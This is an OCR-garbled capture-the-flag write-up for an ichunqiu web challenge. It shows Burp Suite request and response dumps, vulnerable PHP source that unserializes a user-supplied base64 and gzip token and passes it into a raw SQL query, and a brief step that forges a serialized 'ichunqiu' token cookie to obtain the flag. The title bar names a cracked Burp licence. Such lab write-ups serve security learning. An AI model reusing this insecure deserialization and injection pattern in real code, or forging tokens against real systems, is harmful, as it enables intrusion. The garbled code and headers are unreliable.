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[ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxex@fosecvn
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder Repeae(TSsquencsr Decoder Cnmpaye.IExtender[Pm,ecmmmnsIuﬁmmmns Alerts

1w |22 |3 4% |8 |6x|7x]8%9x][10x].
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game.ichungiu.com @ @

GET /member. php HITP/1.1 : HITP/1.1 200 OK :
Host: c399d6bd2f114b3d94e5 d5c1lecd09cdbb2afe5f4454a. game. ichungiu. com Server: nginx/1.10.2
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Tinbd; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Date: Non, 17 Sep 2018 13:59:18 GUT
Accept: text/html, application/xhtml+xul, application/sml;q=0. 9, */*;q=0. 8 Content-Type: text/html; charset=utf-8
Accept-Language: zh—CN, zh;q=0. 8, zh-TV; q=0. 7, zh-HK; q=0. 5, en-US; 9=0. 3, en; q=0. 2 Content-Length: 69
Referer: Connection: close
http://c399d6bd2£114b3d94e5c0ctdoclecI09cdb52afebf4454a. game. ichungiu. com/index. php X-Powered-By: PHP/5. 5. 9-lubuntud. 19 I
Cookie: ci_session=f21ad98fa047344d1057a32edd84fef0d54ed480; Expires: Thu, 19 Nov 1981 08:52:00 GHT
chkphone=aclixNpxhQpDi AchhluSnE qyi QuDI00000; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Ull_distinetid=165e62968bb0-08be09325af a98-40312878-1£2d00-165062968¢27; Pragma: no-cache
pEv_pvi=1410873344; show: 0
Hm_1vt_2d0601bd28de7d49818249c135d95943=1537164799, 1537171934, 1 V8178, 1537181487; Vary: Accep
i 596416; Hm 1pvt_2d0601bd28de7d49818249c£35d95943=1537192324;
200a2651a437sur2 judduirs <head>
Comection: close <meta charset="utf-8" />
Upgrade-Insecure-Requests: 1 </head>
Cache-Control: max-age=0 ¢ o) AL
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<?php
include ‘common.php’;
$requset = array_merge($_GET, $ POST, $ SESSION, $ COOKIE);
class db
{
public $where;
function _ wakeup()
{
if(lempty($this->where))
{
$this->select($this->where);
¥
¥

function select($where)

{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);

}

}

if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset[ 'token'])));
$db = new db();
$row = $db->select('user=\"'".mysql_real escape_string($login[‘user']).'\'");
if($login[‘user'] === 'ichunqiu')
{
echo $flag;
}else if($row[ 'pass'] !== $login['pass']){
echo 'unserialize injection!!’;
}else{
echo "(Z ‘o’)’ ~L1L
¥
}else{
header('Location: index.php?error=1");
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$test = array("user" => "ichunqiu")

#RJ5 base64_encode(gzcompress(serialize($test)))
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GET request to /member_php

XA R flag T

Type | Name | Value

Cookie ci_session f21ad96fal47344d1057a32edd84fef0d54ed480
Cookie chkphone acWxNpxhQpDiAchhNuSnEqyiQuDIO0O00
Cookie UM_distinctid 165e62966bb0-08be09325affa98-4c312878-1fa. ..
Cookie pgv_pvi 1410873344

Cookie Hm_Ivt_2d0601bd28de7d4981824...  1537164799,1537171934,1537178178.,153718.
Cookie pgv_si 59857596416

Cookie Hm_lpvt_2d0601bd28de7d498182.. 1537192324

Cookie PHPSESSID r200a2651a437sur2jud8u7ire

Cookie token edxLtDK0gi62MrFSKI1OLVKyLraysFLKTM4o0z. .
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